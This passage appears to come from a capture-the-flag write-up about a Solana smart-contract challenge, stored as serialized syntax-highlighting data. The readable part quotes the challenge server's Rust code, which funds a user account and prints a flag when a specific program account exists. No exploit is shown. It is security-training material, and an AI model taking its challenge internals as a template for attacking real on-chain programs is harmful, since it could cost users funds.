:217,"props":121849,"children":121850},{"style":7064},[121851],{"type":32,"value":120897},{"type":26,"tag":217,"props":121853,"children":121854},{"style":7048},[121855],{"type":32,"value":78002},{"type":26,"tag":217,"props":121857,"children":121858},{"style":7149},[121859],{"type":32,"value":180},{"type":26,"tag":217,"props":121861,"children":121862},{"style":7064},[121863],{"type":32,"value":97935},{"type":26,"tag":217,"props":121865,"children":121866},{"style":7048},[121867],{"type":32,"value":8348},{"type":26,"tag":217,"props":121869,"children":121870},{"class":7028,"line":7524},[121871,121875,121879,121883,121887,121891,121895,121899,121903,121907,121911,121915,121919,121923,121927,121931,121935,121939,121943,121947,121951,121955,121959,121963,121967,121971,121975,121979],{"type":26,"tag":217,"props":121872,"children":121873},{"style":7154},[121874],{"type":32,"value":91366},{"type":26,"tag":217,"props":121876,"children":121877},{"style":7054},[121878],{"type":32,"value":120925},{"type":26,"tag":217,"props":121880,"children":121881},{"style":7149},[121882],{"type":32,"value":8993},{"type":26,"tag":217,"props":121884,"children":121885},{"style":7048},[121886],{"type":32,"value":120809},{"type":26,"tag":217,"props":121888,"children":121889},{"style":7149},[121890],{"type":32,"value":56166},{"type":26,"tag":217,"props":121892,"children":121893},{"style":7048},[121894],{"type":32,"value":37248},{"type":26,"tag":217,"props":121896,"children":121897},{"style":7149},[121898],{"type":32,"value":56166},{"type":26,"tag":217,"props":121900,"children":121901},{"style":7064},[121902],{"type":32,"value":120826},{"type":26,"tag":217,"props":121904,"children":121905},{"style":7149},[121906],{"type":32,"value":56166},{"type":26,"tag":217,"props":121908,"children":121909},{"style":7048},[121910],{"type":32,"value":120835},{"type":26,"tag":217,"props":121912,"children":121913},{"style":7119},[121914],{"type":32,"value":36887},{"type":26,"tag":217,"props":121916,"children":121917},{"style":7048},[121918],{"type":32,"value":13137},{"type":26,"tag":217,"props":121920,"children":121921},{"style":7130},[121922],{"type":32,"value":27891},{"type":26,"tag":217,"props":121924,"children":121925},{"style":7048},[121926],{"type":32,"value":9799},{"type":26,"tag":217,"props":121928,"children":121929},{"style":7119},[121930],{"type":32,"value":120978},{"type":26,"tag":217,"props":121932,"children":121933},{"style":7048},[121934],{"type":32,"value":100384},{"type":26,"tag":217,"props":121936,"children":121937},{"style":7054},[121938],{"type":32,"value":33715},{"type":26,"tag":217,"props":121940,"children":121941},{"style":7048},[121942],{"type":32,"value":7127},{"type":26,"tag":217,"props":121944,"children":121945},{"style":7130},[121946],{"type":32,"value":27891},{"type":26,"tag":217,"props":121948,"children":121949},{"style":7149},[121950],{"type":32,"value":120880},{"type":26,"tag":217,"props":121952,"children":121953},{"style":7130},[121954],{"type":32,"value":12286},{"type":26,"tag":217,"props":121956,"children":121957},{"style":7048},[121958],{"type":32,"value":21845},{"type":26,"tag":217,"props":121960,"children":121961},{"style":7149},[121962],{"type":32,"value":180},{"type":26,"tag":217,"props":121964,"children":121965},{"style":7064},[121966],{"type":32,"value":120897},{"type":26,"tag":217,"props":121968,"children":121969},{"style":7048},[121970],{"type":32,"value":78002},{"type":26,"tag":217,"props":121972,"children":121973},{"style":7149},[121974],{"type":32,"value":180},{"type":26,"tag":217,"props":121976,"children":121977},{"style":7064},[121978],{"type":32,"value":97935},{"type":26,"tag":217,"props":121980,"children":121981},{"style":7048},[121982],{"type":32,"value":8348},{"type":26,"tag":217,"props":121984,"children":121985},{"class":7028,"line":7553},[121986,121990,121994,121998],{"type":26,"tag":217,"props":121987,"children":121988},{"style":7064},[121989],{"type":32,"value":121038},{"type":26,"tag":217,"props":121991,"children":121992},{"style":7048},[121993],{"type":32,"value":1851},{"type":26,"tag":217,"props":121995,"children":121996},{"style":7054},[121997],{"type":32,"value":121056},{"type":26,"tag":217,"props":121999,"children":122000},{"style":7048},[122001],{"type":32,"value":7669},{"type":26,"tag":217,"props":122003,"children":122004},{"class":7028,"line":7570},[122005],{"type":26,"tag":217,"props":122006,"children":122007},{"style":7048},[122008],{"type":32,"value":9754},{"type":26,"tag":217,"props":122010,"children":122011},{"class":7028,"line":7621},[122012],{"type":26,"tag":217,"props":122013,"children":122014},{"style":7048},[122015],{"type":32,"value":7184},{"type":26,"tag":607,"props":122017,"children":122019},{"id":122018},"test-environment",[122020],{"type":32,"value":122021},"Test Environment",{"type":26,"tag":39,"props":122023,"children":122024},{},[122025],{"type":32,"value":122026},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":26,"tag":39,"props":122028,"children":122029},{},[122030,122032,122038],{"type":32,"value":122031},"When you connect to the server through a tcp connection, ",{"type":26,"tag":83,"props":122033,"children":122035},{"className":122034},[],[122036],{"type":32,"value":122037},"framework/src/main.rs::handle_connection",{"type":32,"value":122039}," gets executed, which does the following:",{"type":26,"tag":6712,"props":122041,"children":122042},{},[122043],{"type":26,"tag":2044,"props":122044,"children":122045},{},[122046],{"type":32,"value":122047},"Creates a new Solana local node",{"type":26,"tag":207,"props":122049,"children":122051},{"className":56140,"code":122050,"language":56139,"meta":8,"style":8},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[122052],{"type":26,"tag":83,"props":122053,"children":122054},{"__ignoreMap":8},[122055,122134,122208],{"type":26,"tag":217,"props":122056,"children":122057},{"class":7028,"line":7029},[122058,122062,122066,122071,122075,122080,122084,122089,122093,122097,122101,122106,122110,122114,122118,122122,122126,122130],{"type":26,"tag":217,"props":122059,"children":122060},{"style":7154},[122061],{"type":32,"value":12470},{"type":26,"tag":217,"props":122063,"children":122064},{"style":7154},[122065],{"type":32,"value":94619},{"type":26,"tag":217,"props":122067,"children":122068},{"style":7054},[122069],{"type":32,"value":122070}," builder",{"type":26,"tag":217,"props":122072,"children":122073},{"style":7149},[122074],{"type":32,"value":8993},{"type":26,"tag":217,"props":122076,"children":122077},{"style":7119},[122078],{"type":32,"value":122079}," ChallengeBuilder",{"type":26,"tag":217,"props":122081,"children":122082},{"style":7149},[122083],{"type":32,"value":56166},{"type":26,"tag":217,"props":122085,"children":122086},{"style":7064},[122087],{"type":32,"value":122088},"try_from",{"type":26,"tag":217,"props":122090,"children":122091},{"style":7048},[122092],{"type":32,"value":1851},{"type":26,"tag":217,"props":122094,"children":122095},{"style":7054},[122096],{"type":32,"value":115215},{"type":26,"tag":217,"props":122098,"children":122099},{"style":7149},[122100],{"type":32,"value":180},{"type":26,"tag":217,"props":122102,"children":122103},{"style":7064},[122104],{"type":32,"value":122105},"try_clone",{"type":26,"tag":217,"props":122107,"children":122108},{"style":7048},[122109],{"type":32,"value":78002},{"type":26,"tag":217,"props":122111,"children":122112},{"style":7149},[122113],{"type":32,"value":180},{"type":26,"tag":217,"props":122115,"children":122116},{"style":7064},[122117],{"type":32,"value":97935},{"type":26,"tag":217,"props":122119,"children":122120},{"style":7048},[122121],{"type":32,"value":77815},{"type":26,"tag":217,"props":122123,"children":122124},{"style":7149},[122125],{"type":32,"value":180},{"type":26,"tag":217,"props":122127,"children":122128},{"style":7064},[122129],{"type":32,"value":97935},{"type":26,"tag":217,"props":122131,"children":122132},{"style":7048},[122133],{"type":32,"value":8217},{"type":26,"tag":217,"props":122135,"children":122136},{"class":7028,"line":6770},[122137,122141,122145,122150,122154,122159,122163,122168,122172,122176,122181,122185,122190,122194,122199,122203],{"type":26,"tag":217,"props":122138,"children":122139},{"style":7064},[122140],{"type":32,"value":100857},{"type":26,"tag":217,"props":122142,"children":122143},{"style":7048},[122144],{"type":32,"value":1851},{"type":26,"tag":217,"props":122146,"children":122147},{"style":7054},[122148],{"type":32,"value":122149},"builder",{"type":26,"tag":217,"props":122151,"children":122152},{"style":7149},[122153],{"type":32,"value":180},{"type":26,"tag":217,"props":122155,"children":122156},{"style":7064},[122157],{"type":32,"value":122158},"add_program",{"type":26,"tag":217,"props":122160,"children":122161},{"style":7048},[122162],{"type":32,"value":1851},{"type":26,"tag":217,"props":122164,"children":122165},{"style":7338},[122166],{"type":32,"value":122167},"\"/path/to/chall.so\"",{"type":26,"tag":217,"props":122169,"children":122170},{"style":7048},[122171],{"type":32,"value":7599},{"type":26,"tag":217,"props":122173,"children":122174},{"style":7119},[122175],{"type":32,"value":98534},{"type":26,"tag":217,"props":122177,"children":122178},{"style":7048},[122179],{"type":32,"value":122180},"(chall",{"type":26,"tag":217,"props":122182,"children":122183},{"style":7149},[122184],{"type":32,"value":56166},{"type":26,"tag":217,"props":122186,"children":122187},{"style":7048},[122188],{"type":32,"value":122189},"ID)) ",{"type":26,"tag":217,"props":122191,"children":122192},{"style":7149},[122193],{"type":32,"value":9106},{"type":26,"tag":217,"props":122195,"children":122196},{"style":7048},[122197],{"type":32,"value":122198}," chall",{"type":26,"tag":217,"props":122200,"children":122201},{"style":7149},[122202],{"type":32,"value":56166},{"type":26,"tag":217,"props":122204,"children":122205},{"style":7048},[122206],{"type":32,"value":122207},"ID);\n",{"type":26,"tag":217,"props":122209,"children":122210},{"class":7028,"line":6779},[122211,122215,122219,122223,122227,122231,122235,122240,122244,122248,122252],{"type":26,"tag":217,"props":122212,"children":122213},{"style":7154},[122214],{"type":32,"value":12470},{"type":26,"tag":217,"props":122216,"children":122217},{"style":7154},[122218],{"type":32,"value":94619},{"type":26,"tag":217,"props":122220,"children":122221},{"style":7054},[122222],{"type":32,"value":122198},{"type":26,"tag":217,"props":122224,"children":122225},{"style":7149},[122226],{"type":32,"value":8993},{"type":26,"tag":217,"props":122228,"children":122229},{"style":7054},[122230],{"type":32,"value":122070},{"type":26,"tag":217,"props":122232,"children":122233},{"style":7149},[122234],{"type":32,"value":180},{"type":26,"tag":217,"props":122236,"children":122237},{"style":7064},[122238],{"type":32,"value":122239},"build",{"type":26,"tag":217,"props":122241,"children":122242},{"style":7048},[122243],{"type":32,"value":78002},{"type":26,"tag":217,"props":122245,"children":122246},{"style":7149},[122247],{"type":32,"value":180},{"type":26,"tag":217,"props":122249,"children":122250},{"style":7042},[122251],{"type":32,"value":7864},{"type":26,"tag":217,"props":122253,"children":122254},{"style":7048},[122255],{"type":32,"value":7162},{"type":26,"tag":6712,"props":122257,"children":122258},{"start":6770},[122259],{"type":26,"tag":2044,"props":122260,"children":122261},{},[122262],{"type":32,"value":122263},"Funds the user account with 100 SOL",{"type":26,"tag":207,"props":122265,"children":122267},{"className":56140,"code":122266,"language":56139,"meta":8,"style":8},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[122268],{"type":26,"tag":83,"props":122269,"children":122270},{"__ignoreMap":8},[122271,122304,122337,122344,122386,122417,122424,122432,122497,122516,122523],{"type":26,"tag":217,"props":122272,"children":122273},{"class":7028,"line":7029},[122274,122278,122283,122287,122292,122296,122300],{"type":26,"tag":217,"props":122275,"children":122276},{"style":7154},[122277],{"type":32,"value":12470},{"type":26,"tag":217,"props":122279,"children":122280},{"style":7054},[122281],{"type":32,"value":122282}," user_keypair",{"type":26,"tag":217,"props":122284,"children":122285},{"style":7149},[122286],{"type":32,"value":8993},{"type":26,"tag":217,"props":122288,"children":122289},{"style":7119},[122290],{"type":32,"value":122291}," Keypair",{"type":26,"tag":217,"props":122293,"children":122294},{"style":7149},[122295],{"type":32,"value":56166},{"type":26,"tag":217,"props":122297,"children":122298},{"style":7064},[122299],{"type":32,"value":7116},{"type":26,"tag":217,"props":122301,"children":122302},{"style":7048},[122303],{"type":32,"value":8217},{"type":26,"tag":217,"props":122305,"children":122306},{"class":7028,"line":6770},[122307,122311,122316,122320,122324,122328,122333],{"type":26,"tag":217,"props":122308,"children":122309},{"style":7154},[122310],{"type":32,"value":12470},{"type":26,"tag":217,"props":122312,"children":122313},{"style":7054},[122314],{"type":32,"value":122315}," user",{"type":26,"tag":217,"props":122317,"children":122318},{"style":7149},[122319],{"type":32,"value":8993},{"type":26,"tag":217,"props":122321,"children":122322},{"style":7054},[122323],{"type":32,"value":122282},{"type":26,"tag":217,"props":122325,"children":122326},{"style":7149},[122327],{"type":32,"value":180},{"type":26,"tag":217,"props":122329,"children":122330},{"style":7064},[122331],{"type":32,"value":122332},"pubkey",{"type":26,"tag":217,"props":122334,"children":122335},{"style":7048},[122336],{"type":32,"value":8217},{"type":26,"tag":217,"props":122338,"children":122339},{"class":7028,"line":6779},[122340],{"type":26,"tag":217,"props":122341,"children":122342},{"emptyLinePlaceholder":17},[122343],{"type":32,"value":7817},{"type":26,"tag":217,"props":122345,"children":122346},{"class":7028,"line":7140},[122347,122351,122356,122360,122364,122369,122373,122377,122381],{"type":26,"tag":217,"props":122348,"children":122349},{"style":7154},[122350],{"type":32,"value":12470},{"type":26,"tag":217,"props":122352,"children":122353},{"style":7054},[122354],{"type":32,"value":122355}," payer_keypair",{"type":26,"tag":217,"props":122357,"children":122358},{"style":7149},[122359],{"type":32,"value":8993},{"type":26,"tag":217,"props":122361,"children":122362},{"style":7149},[122363],{"type":32,"value":10222},{"type":26,"tag":217,"props":122365,"children":122366},{"style":7054},[122367],{"type":32,"value":122368},"chall",{"type":26,"tag":217,"props":122370,"children":122371},{"style":7149},[122372],{"type":32,"value":180},{"type":26,"tag":217,"props":122374,"children":122375},{"style":7048},[122376],{"type":32,"value":79895},{"type":26,"tag":217,"props":122378,"children":122379},{"style":7149},[122380],{"type":32,"value":180},{"type":26,"tag":217,"props":122382,"children":122383},{"style":7048},[122384],{"type":32,"value":122385},"payer;\n",{"type":26,"tag":217,"props":122387,"children":122388},{"class":7028,"line":7165},[122389,122393,122397,122401,122405,122409,122413],{"type":26,"tag":217,"props":122390,"children":122391},{"style":7154},[122392],{"type":32,"value":12470},{"type":26,"tag":217,"props":122394,"children":122395},{"style":7054},[122396],{"type":32,"value":91027},{"type":26,"tag":217,"props":122398,"children":122399},{"style":7149},[122400],{"type":32,"value":8993},{"type":26,"tag":217,"props":122402,"children":122403},{"style":7054},[122404],{"type":32,"value":122355},{"type":26,"tag":217,"props":122406,"children":122407},{"style":7149},[122408],{"type":32,"value":180},{"type":26,"tag":217,"props":122410,"children":122411},{"style":7064},[122412],{"type":32,"value":122332},{"type":26,"tag":217,"props":122414,"children":122415},{"style":7048},[122416],{"type":32,"value":8217},{"type":26,"tag":217,"props":122418,"children":122419},{"class":7028,"line":7178},[122420],{"type":26,"tag":217,"props":122421,"children":122422},{"emptyLinePlaceholder":17},[122423],{"type":32,"value":7817},{"type":26,"tag":217,"props":122425,"children":122426},{"class":7028,"line":7389},[122427],{"type":26,"tag":217,"props":122428,"children":122429},{"style":7054},[122430],{"type":32,"value":122431},"chall\n",{"type":26,"tag":217,"props":122433,"children":122434},{"class":7028,"line":7406},[122435,122440,122445,122450,122454,122458,122462,122466,122471,122475,122479,122484,122488,122493],{"type":26,"tag":217,"props":122436,"children":122437},{"style":7149},[122438],{"type":32,"value":122439},"    .",{"type":26,"tag":217,"props":122441,"children":122442},{"style":7064},[122443],{"type":32,"value":122444},"run_ix",{"type":26,"tag":217,"props":122446,"children":122447},{"style":7048},[122448],{"type":32,"value":122449},"(system_instruction",{"type":26,"tag":217,"props":122451,"children":122452},{"style":7149},[122453],{"type":32,"value":56166},{"type":26,"tag":217,"props":122455,"children":122456},{"style":7064},[122457],{"type":32,"value":98435},{"type":26,"tag":217,"props":122459,"children":122460},{"style":7048},[122461],{"type":32,"value":1851},{"type":26,"tag":217,"props":122463,"children":122464},{"style":7149},[122465],{"type":32,"value":9804},{"type":26,"tag":217,"props":122467,"children":122468},{"style":7054},[122469],{"type":32,"value":122470},"payer",{"type":26,"tag":217,"props":122472,"children":122473},{"style":7048},[122474],{"type":32,"value":7599},{"type":26,"tag":217,"props":122476,"children":122477},{"style":7149},[122478],{"type":32,"value":9804},{"type":26,"tag":217,"props":122480,"children":122481},{"style":7054},[122482],{"type":32,"value":122483},"user",{"type":26,"tag":217,"props":122485,"children":122486},{"style":7048},[122487],{"type":32,"value":7599},{"type":26,"tag":217,"props":122489,"children":122490},{"style":7130},[122491],{"type":32,"value":122492},"100_000_000_000",{"type":26,"tag":217,"props":122494,"children":122495},{"style":7048},[122496],{"type":32,"value":18548},{"type":26,"tag":217,"props":122498,"children":122499},{"class":7028,"line":7439},[122500,122504,122508,122512],{"type":26,"tag":217,"props":122501,"children":122502},{"style":7149},[122503],{"type":32,"value":122439},{"type":26,"tag":217,"props":122505,"children":122506},{"style":7042},[122507],{"type":32,"value":7864},{"type":26,"tag":217,"props":122509,"children":122510},{"style":7149},[122511],{"type":32,"value":605},{"type":26,"tag":217,"props":122513,"children":122514},{"style":7048},[122515],{"type":32,"value":7162},{"type":26,"tag":217,"props":122517,"children":122518},{"class":7028,"line":7487},[122519],{"type":26,"tag":217,"props":122520,"children":122521},{"emptyLinePlaceholder":17},[122522],{"type":32,"value":7817},{"type":26,"tag":217,"props":122524,"children":122525},{"class":7028,"line":7524},[122526,122531,122535,122539,122543,122548,122552,122556,122560,122564],{"type":26,"tag":217,"props":122527,"children":122528},{"style":7064},[122529],{"type":32,"value":122530},"writeln!",{"type":26,"tag":217,"props":122532,"children":122533},{"style":7048},[122534],{"type":32,"value":1851},{"type":26,"tag":217,"props":122536,"children":122537},{"style":7054},[122538],{"type":32,"value":115215},{"type":26,"tag":217,"props":122540,"children":122541},{"style":7048},[122542],{"type":32,"value":7599},{"type":26,"tag":217,"props":122544,"children":122545},{"style":7338},[122546],{"type":32,"value":122547},"\"user: {}\"",{"type":26,"tag":217,"props":122549,"children":122550},{"style":7048},[122551],{"type":32,"value":7599},{"type":26,"tag":217,"props":122553,"children":122554},{"style":7054},[122555],{"type":32,"value":122483},{"type":26,"tag":217,"props":122557,"children":122558},{"style":7048},[122559],{"type":32,"value":1889},{"type":26,"tag":217,"props":122561,"children":122562},{"style":7149},[122563],{"type":32,"value":605},{"type":26,"tag":217,"props":122565,"children":122566},{"style":7048},[122567],{"type":32,"value":7162},{"type":26,"tag":6712,"props":122569,"children":122570},{"start":6779},[122571],{"type":26,"tag":2044,"props":122572,"children":122573},{},[122574],{"type":32,"value":122575},"Reads an instruction from the tcp stream and executes it",{"type":26,"tag":207,"props":122577,"children":122579},{"className":56140,"code":122578,"language":56139,"meta":8,"style":8},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[122580],{"type":26,"tag":83,"props":122581,"children":122582},{"__ignoreMap":8},[122583,122633],{"type":26,"tag":217,"props":122584,"children":122585},{"class":7028,"line":7029},[122586,122590,122595,122599,122603,122607,122612,122616,122620,122625,122629],{"type":26,"tag":217,"props":122587,"children":122588},{"style":7154},[122589],{"type":32,"value":12470},{"type":26,"tag":217,"props":122591,"children":122592},{"style":7054},[122593],{"type":32,"value":122594}," solve_ix",{"type":26,"tag":217,"props":122596,"children":122597},{"style":7149},[122598],{"type":32,"value":8993},{"type":26,"tag":217,"props":122600,"children":122601},{"style":7054},[122602],{"type":32,"value":122198},{"type":26,"tag":217,"props":122604,"children":122605},{"style":7149},[122606],{"type":32,"value":180},{"type":26,"tag":217,"props":122608,"children":122609},{"style":7064},[122610],{"type":32,"value":122611},"read_instruction",{"type":26,"tag":217,"props":122613,"children":122614},{"style":7048},[122615],{"type":32,"value":122180},{"type":26,"tag":217,"props":122617,"children":122618},{"style":7149},[122619],{"type":32,"value":56166},{"type":26,"tag":217,"props":122621,"children":122622},{"style":7048},[122623],{"type":32,"value":122624},"ID)",{"type":26,"tag":217,"props":122626,"children":122627},{"style":7149},[122628],{"type":32,"value":605},{"type":26,"tag":217,"props":122630,"children":122631},{"style":7048},[122632],{"type":32,"value":7162},{"type":26,"tag":217,"props":122634,"children":122635},{"class":7028,"line":6770},[122636,122640,122644,122649,122653,122657,122661,122666,122670,122674,122678,122682,122687,122691,122695,122699,122703,122707,122711,122715],{"type":26,"tag":217,"props":122637,"children":122638},{"style":7054},[122639],{"type":32,"value":122368},{"type":26,"tag":217,"props":122641,"children":122642},{"style":7149},[122643],{"type":32,"value":180},{"type":26,"tag":217,"props":122645,"children":122646},{"style":7064},[122647],{"type":32,"value":122648},"run_ixs_full",{"type":26,"tag":217,"props":122650,"children":122651},{"style":7048},[122652],{"type":32,"value":1851},{"type":26,"tag":217,"props":122654,"children":122655},{"style":7149},[122656],{"type":32,"value":9804},{"type":26,"tag":217,"props":122658,"children":122659},{"style":7048},[122660],{"type":32,"value":7127},{"type":26,"tag":217,"props":122662,"children":122663},{"style":7054},[122664],{"type":32,"value":122665},"solve_ix",{"type":26,"tag":217,"props":122667,"children":122668},{"style":7048},[122669],{"type":32,"value":9799},{"type":26,"tag":217,"props":122671,"children":122672},{"style":7149},[122673],{"type":32,"value":9804},{"type":26,"tag":217,"props":122675,"children":122676},{"style":7048},[122677],{"type":32,"value":7127},{"type":26,"tag":217,"props":122679,"children":122680},{"style":7149},[122681],{"type":32,"value":9804},{"type":26,"tag":217,"props":122683,"children":122684},{"style":7054},[122685],{"type":32,"value":122686},"user_keypair",{"type":26,"tag":217,"props":122688,"children":122689},{"style":7048},[122690],{"type":32,"value":9799},{"type":26,"tag":217,"props":122692,"children":122693},{"style":7149},[122694],{"type":32,"value":9804},{"type":26,"tag":217,"props":122696,"children":122697},{"style":7054},[122698],{"type":32,"value":122483},{"type":26,"tag":217,"props":122700,"children":122701},{"style":7048},[122702],{"type":32,"value":1889},{"type":26,"tag":217,"props":122704,"children":122705},{"style":7149},[122706],{"type":32,"value":180},{"type":26,"tag":217,"props":122708,"children":122709},{"style":7042},[122710],{"type":32,"value":7864},{"type":26,"tag":217,"props":122712,"children":122713},{"style":7149},[122714],{"type":32,"value":605},{"type":26,"tag":217,"props":122716,"children":122717},{"style":7048},[122718],{"type":32,"value":7162},{"type":26,"tag":6712,"props":122720,"children":122721},{"start":7140},[122722],{"type":26,"tag":2044,"props":122723,"children":122724},{},[122725],{"type":32,"value":122726},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":26,"tag":207,"props":122728,"children":122730},{"className":56140,"code":122729,"language":56139,"meta":8,"style":8},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[122731],{"type":26,"tag":83,"props":122732,"children":122733},{"__ignoreMap":8},[122734,122818,122909,122950,123033,123040,123077,123132,123177,123192,123228,123235,123242],{"type":26,"tag":217,"props":122735,"children":122736},{"class":7028,"line":7029},[122737,122741,122746,122750,122754,122758,122763,122767,122771,122775,122780,122784,122789,122794,122798,122802,122806,122810,122814],{"type":26,"tag":217,"props":122738,"children":122739},{"style":7154},[122740],{"type":32,"value":12470},{"type":26,"tag":217,"props":122742,"children":122743},{"style":7054},[122744],{"type":32,"value":122745}," flag",{"type":26,"tag":217,"props":122747,"children":122748},{"style":7149},[122749],{"type":32,"value":8993},{"type":26,"tag":217,"props":122751,"children":122752},{"style":7119},[122753],{"type":32,"value":93283},{"type":26,"tag":217,"props":122755,"children":122756},{"style":7149},[122757],{"type":32,"value":56166},{"type":26,"tag":217,"props":122759,"children":122760},{"style":7064},[122761],{"type":32,"value":122762},"create_program_address",{"type":26,"tag":217,"props":122764,"children":122765},{"style":7048},[122766],{"type":32,"value":1851},{"type":26,"tag":217,"props":122768,"children":122769},{"style":7149},[122770],{"type":32,"value":9804},{"type":26,"tag":217,"props":122772,"children":122773},{"style":7048},[122774],{"type":32,"value":7127},{"type":26,"tag":217,"props":122776,"children":122777},{"style":7338},[122778],{"type":32,"value":122779},"\"FLAG\"",{"type":26,"tag":217,"props":122781,"children":122782},{"style":7149},[122783],{"type":32,"value":180},{"type":26,"tag":217,"props":122785,"children":122786},{"style":7064},[122787],{"type":32,"value":122788},"as_ref",{"type":26,"tag":217,"props":122790,"children":122791},{"style":7048},[122792],{"type":32,"value":122793},"()], ",{"type":26,"tag":217,"props":122795,"children":122796},{"style":7149},[122797],{"type":32,"value":9804},{"type":26,"tag":217,"props":122799,"children":122800},{"style":7048},[122801],{"type":32,"value":122368},{"type":26,"tag":217,"props":122803,"children":122804},{"style":7149},[122805],{"type":32,"value":56166},{"type":26,"tag":217,"props":122807,"children":122808},{"style":7048},[122809],{"type":32,"value":122624},{"type":26,"tag":217,"props":122811,"children":122812},{"style":7149},[122813],{"type":32,"value":605},{"type":26,"tag":217,"props":122815,"children":122816},{"style":7048},[122817],{"type":32,"value":7162},{"type":26,"tag":217,"props":122819,"children":122820},{"class":7028,"line":6770},[122821,122825,122829,122833,122837,122842,122846,122850,122854,122858,122862,122866,122871,122875,122880,122884,122889,122893,122897,122901,122905],{"type":26,"tag":217,"props":122822,"children":122823},{"style":7042},[122824],{"type":32,"value":7045},{"type":26,"tag":217,"props":122826,"children":122827},{"style":7154},[122828],{"type":32,"value":97421},{"type":26,"tag":217,"props":122830,"children":122831},{"style":7119},[122832],{"type":32,"value":97426},{"type":26,"tag":217,"props":122834,"children":122835},{"style":7048},[122836],{"type":32,"value":1851},{"type":26,"tag":217,"props":122838,"children":122839},{"style":7054},[122840],{"type":32,"value":122841},"acct",{"type":26,"tag":217,"props":122843,"children":122844},{"style":7048},[122845],{"type":32,"value":8380},{"type":26,"tag":217,"props":122847,"children":122848},{"style":7149},[122849],{"type":32,"value":267},{"type":26,"tag":217,"props":122851,"children":122852},{"style":7054},[122853],{"type":32,"value":122198},{"type":26,"tag":217,"props":122855,"children":122856},{"style":7149},[122857],{"type":32,"value":180},{"type":26,"tag":217,"props":122859,"children":122860},{"style":7048},[122861],{"type":32,"value":79895},{"type":26,"tag":217,"props":122863,"children":122864},{"style":7149},[122865],{"type":32,"value":180},{"type":26,"tag":217,"props":122867,"children":122868},{"style":7048},[122869],{"type":32,"value":122870},"banks_client",{"type":26,"tag":217,"props":122872,"children":122873},{"style":7149},[122874],{"type":32,"value":180},{"type":26,"tag":217,"props":122876,"children":122877},{"style":7064},[122878],{"type":32,"value":122879},"get_account",{"type":26,"tag":217,"props":122881,"children":122882},{"style":7048},[122883],{"type":32,"value":1851},{"type":26,"tag":217,"props":122885,"children":122886},{"style":7054},[122887],{"type":32,"value":122888},"flag",{"type":26,"tag":217,"props":122890,"children":122891},{"style":7048},[122892],{"type":32,"value":1889},{"type":26,"tag":217,"props":122894,"children":122895},{"style":7149},[122896],{"type":32,"value":180},{"type":26,"tag":217,"props":122898,"children":122899},{"style":7042},[122900],{"type":32,"value":7864},{"type":26,"tag":217,"props":122902,"children":122903},{"style":7149},[122904],{"type":32,"value":605},{"type":26,"tag":217,"props":122906,"children":122907},{"style":7048},[122908],{"type":32,"value":8064},{"type":26,"tag":217,"props":122910,"children":122911},{"class":7028,"line":6779},[122912,122916,122921,122925,122929,122933,122937,122941,122945],{"type":26,"tag":217,"props":122913,"children":122914},{"style":7042},[122915],{"type":32,"value":9710},{"type":26,"tag":217,"props":122917,"children":122918},{"style":7054},[122919],{"type":32,"value":122920}," acct",{"type":26,"tag":217,"props":122922,"children":122923},{"style":7149},[122924],{"type":32,"value":180},{"type":26,"tag":217,"props":122926,"children":122927},{"style":7048},[122928],{"type":32,"value":33715},{"type":26,"tag":217,"props":122930,"children":122931},{"style":7149},[122932],{"type":32,"value":180},{"type":26,"tag":217,"props":122934,"children":122935},{"style":7064},[122936],{"type":32,"value":15325},{"type":26,"tag":217,"props":122938,"children":122939},{"style":7048},[122940],{"type":32,"value":61808},{"type":26,"tag":217,"props":122942,"children":122943},{"style":7149},[122944],{"type":32,"value":9106},{"type":26,"tag":217,"props":122946,"children":122947},{"style":7130},[122948],{"type":32,"value":122949}," 0x1337\n",{"type":26,"tag":217,"props":122951,"children":122952},{"class":7028,"line":7140},[122953,122957,122961,122965,122970,122974,122978,122982,122987,122991,122995,122999,123003,123007,123011,123015,123019,123024,123028],{"type":26,"tag":217,"props":122954,"children":122955},{"style":7149},[122956],{"type":32,"value":93161},{"type":26,"tag":217,"props":122958,"children":122959},{"style":7119},[122960],{"type":32,"value":91146},{"type":26,"tag":217,"props":122962,"children":122963},{"style":7149},[122964],{"type":32,"value":56166},{"type":26,"tag":217,"props":122966,"children":122967},{"style":7064},[122968],{"type":32,"value":122969},"from_le_bytes",{"type":26,"tag":217,"props":122971,"children":122972},{"style":7048},[122973],{"type":32,"value":1851},{"type":26,"tag":217,"props":122975,"children":122976},{"style":7054},[122977],{"type":32,"value":122841},{"type":26,"tag":217,"props":122979,"children":122980},{"style":7149},[122981],{"type":32,"value":180},{"type":26,"tag":217,"props":122983,"children":122984},{"style":7048},[122985],{"type":32,"value":122986},"data[",{"type":26,"tag":217,"props":122988,"children":122989},{"style":7149},[122990],{"type":32,"value":120880},{"type":26,"tag":217,"props":122992,"children":122993},{"style":7130},[122994],{"type":32,"value":27891},{"type":26,"tag":217,"props":122996,"children":122997},{"style":7048},[122998],{"type":32,"value":21845},{"type":26,"tag":217,"props":123000,"children":123001},{"style":7149},[123002],{"type":32,"value":180},{"type":26,"tag":217,"props":123004,"children":123005},{"style":7064},[123006],{"type":32,"value":120897},{"type":26,"tag":217,"props":123008,"children":123009},{"style":7048},[123010],{"type":32,"value":78002},{"type":26,"tag":217,"props":123012,"children":123013},{"style":7149},[123014],{"type":32,"value":180},{